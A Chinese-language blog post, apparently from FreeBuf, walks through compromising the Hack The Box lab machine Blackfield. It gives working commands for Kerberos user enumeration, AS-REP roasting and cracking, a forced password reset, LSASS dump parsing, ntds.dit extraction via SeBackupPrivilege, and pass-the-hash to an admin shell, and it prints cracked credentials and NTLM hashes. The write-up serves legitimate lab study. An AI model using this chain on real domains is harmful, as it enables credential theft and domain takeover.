freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

AD-Blackfield详解
2022-10-15 11:29:31
所属地 河南省

0x00 前言

本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第四篇,靶机名字为Blackfield。

0x01 信息搜集

首先我们使用nmap来进行端口与服务的发现

Nmap scan report for 10.10.10.192
Host is up (0.20s latency).
Not shown: 65526 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-11 15:23:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
49676/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/11%Time=634527EB%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m55s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-10-11T15:24:14
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 403.68 seconds

DNS枚举

我们看到53端口开放了DNS服务,我们尝试进行Axfr请求,但是失败了。

dig axfr blackfield.local@10.10.10.192

Kerberos枚举

我们看到88端口开放了kerberos服务,我们尝试使用kerbrute配合常用的用户名字典进行用户枚举,但是结果中也没有什么有用的信息。

kerbrute_linux_amd64 userenum --dc 10.10.10.192 -d blackfield.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt

SMB枚举

我们看到445端口开放了kerberos服务,接下来我们尝试对SMB服务进行枚举和信息搜集

Crackmapexec是一个后渗透的利用工具,可帮助自动执行一些任务,例如密码喷洒、枚举共享、验证本地管理员访问权限、在目标机器上执行命令等等。我们也可以使用smbmap来枚举目标机器上的SMB共享。默认情况下,如果我们在未指定任何用户名的情况下运行它,它将尝试使用NULL会话进行连接,并且我们不会得到任何返回,因为在现代版本的WindowsServer上默认情况下通常不会启用此功能。但是,如果您给它一个无效的用户名,而不指定密码,它将使用访客会话连接到机器。在这种情况下,访客会话会列出机器上的共享。

crackmapexec smb 10.10.10.192 -u "" -p "" --shares
smbmap -u guess -H 10.10.10.192    #随便写一个用户名,我们就会得到一个游客session的会话

图片.png

如上图所示,我们可以看到两个非默认共享:forensic和profiles$,前者暂时无法从我们的访客会话中访问。要检查profiles$共享中的文件,我们可以使用smbclient,我们可以指定一个无效的用户名和我们要访问的目录。我们可以看到该共享包含一堆目录,这些目录看起来像是域控制器上的用户列表。

smbclient -U guest //10.10.10.192/profiles\$

图片.png

那我们现在使用下面这条命令,对输出的结果进行一些处理,把这些看起来像用户名的字符串都存到本地的users.txt文件中

smbclient -U guest%guest //10.10.10.192/profiles\$ -c ls | awk '{print $1}'|sort|uniq >users.txt

awk'{print $1}' 将一行中以空格为分割符的第一个字段打印出来
sort            排序
uniq            删除文件中的重复行

现在我们有了一个潜在用户名列表,我们需要检查一下列表中的那些用户是真实存在的。我们可以通过使用kerbrute来枚举用户名,Kerbrute会发送没有预认证的TGT请求。如果KDC以PRINCIPAL UNKNOWN错误响应,则用户名不存在。但如果KDC提示进行预身份验证,我们就知道用户名存在。这不会导致任何登录失败,也不会锁定任何帐户。

kerbrute_linux_amd64 userenum --dc 10.10.10.192 -d blackfield.local /root/HTB/blackfield/users.txt

图片.png

0x02 AS-REP Roasting

如上图所示,我们获得了三个用户名,我们把三个用户名存到vaildname.txt文件中,然后我们接着来尝试枚举没有设置预认证的用户

GetNPUsers.py  -no-pass   -dc-ip 10.10.10.161  blackfield.local/ -usersfile vaildname.txt

图片.png

如上图,我们发现support没有设置预认证,我们拿到了其AS-REP的票据,我们可以尝试进行AS-REP Roasting攻击,把获取到的hash保存下来,进行离线破解,创建一个文件名为supporthash的文件,把获取到的hash复制进去,然后使用hashcat进行离线破解

hashcat -m 18200 supporthash /root/rockyou.txt --force

图片.png

support:#00^BlackKnight

如上图所示,我们成功得到了support用户的明文密码,接下来,我们使用crackmapexec查找可能可用的其他共享。

crackmapexec smb 10.10.10.192 -u "support" -p "#00^BlackKnight" --shares

这里我就不放图了,通过结果我们可以得知我们得到的密码是有效的,但是相比之前我们得到的共享目录而言,我们没有获得任何额外的访问权限。

0x03 Python版Bloodhound-信息搜集

我们使用之前获得的用户和密码,通过bloodhound进行信息搜集

python bloodhound.py -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192

执行完上面这条命令后,我们会在当前目录下,得到四个json文件的结果,我们导入bloodhound分析

图片.png

通过上图可以看到,support用户有权修改audit2020用户的密码,

0x04 ForceChangePassword权限滥用实现横向移动

接下来我们尝试修改audit2020用户的密码

rpcclient -U support //10.10.10.192
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234'

如果我使用与密码策略不匹配的内容进行重置,它会返回

图片.png

rpcclient $> setuserinfo2 audit2020 23 'ncxw1234#'

图片.png

更改完密码,我们现在可以验证一下

crackmapexec smb 10.10.10.192 -u audit2020 -p 'ncxw1234#'

图片.png

接下来我们尝试通过audit2020来发现更多的smb共享目录

smbmap -H 10.10.10.192 -u audit2020 -p 'ncxw1234#'

图片.png

我们观察到,相比于之前的那个用户,我们获得了目录forensic的访问权限,我们访问一下看看

smbclient -U audit2020%'ncxw1234#' //10.10.10.192/forensic

图片.png

我们通过查看domain_admins.txt文件发现了疑似admin用户的密码

图片.png

然后我们发现了一个有趣的文件lsass.zip,该文件可能是对LSASS进程进行了内存捕获的结果,LSASS是Windows中处理身份验证和安全策略的系统服务。其内存空间中保存着各种身份验证的信息。我们将该文件下载并解压。

图片.png

图片.png

0x05 利用Lsass内存捕获文件提取用户hash

图片.png

pypykatz lsa minidump lsass.DMP

我们将使用pypykatz工具(Pypykatz是Mimikatz的Python版)从内存转储中尝试提取用户hash。

图片.png

我们可以看到我们获取到了svc_backup用户的hash,

0x06 利用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现权限提升

攻击的步骤大概分三步
- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希

接着我们尝试使用evil-winrm进行远程登录

evil-winrm -10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

通过我们之前导入的bloodhound的分析结果,我们得知该用户属于backup_operators组的成员

图片.png

因此该用户也很有可能是启用SEBackupPrivilege 权限的用户。我们执行如下命令,看一下其是否有该权限

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

此时我们知道了我们拥有SEBackupPrivilege 权限,所以我们可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow 首先,创建一个名为 script.txt 的文本文件,其中包含以下内容:

{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
 
create

expose %mydrive% w:
end backup
}

然后执行diskshadow 并使用脚本文件作为其输入,接着我们可以使用这个repo提供的两个dll文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本

*Evil-WinRM* PS C:\Users\svc_backup\music>diskshadow /s script.txt
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite
*Evil-WinRM* PS C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive 
*Evil-WinRM* PS C:\Users\svc_backup\music>download ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\music>download system.hive

我现在可以使用Evil-WinRM’s下载功能下载 NTDS.dit 和 system.hive 文件。然后,使用Impacket’ssecretsdump.py 解析 NTDS.dit:

secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
cat secretsdump.out
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:4c67bfbc7834b2f39fae7138f717dcbd:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
[..SNIP..]

0x07 使用wmiexec进行PTH

通过上面secretsdump分析的结果,我们可以看到管理员的hash ,那么现在我们可以通过wmiexec.py通过hash来登录到管理员账户

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192

图片.png

0x08 总结

Blackfield是一个困难的Windows靶机,我们从开放的SMB共享中获取了潜在用户名列表,然后又使用kerbrute验证该列表,发现了support等三个用户,然后使用AS-REProasting技术查找并破解了support帐户的哈希值。获得support用户后,我们使用Bloodhound发现我们可以更改audit2020帐户的密码,然后我们通过audit2020账号访问了以前锁定的SMB共享,发现了LSASS转储文件并提取到了svc_backup用户的hash。结合之前我们通过bloodhound分析的结果,我们发现该用户具有SEBackupPrivilege 权限,然后我们通过滥用备份操作员的角色下载了NTDS.dt文件的副本并从中提取到了管理员的NT哈希,最后通过wmiexec.py进行PTH拿到了管理员shell。

0x09 参考资料

https://room362.com/post/2017/reset-ad-user-password-with-linux/

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN

https://github.com/giuliano108/SeBackupPrivilege

# 域渗透 # ntds.dit # SMB共享 # HackTheBox # LSASS安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录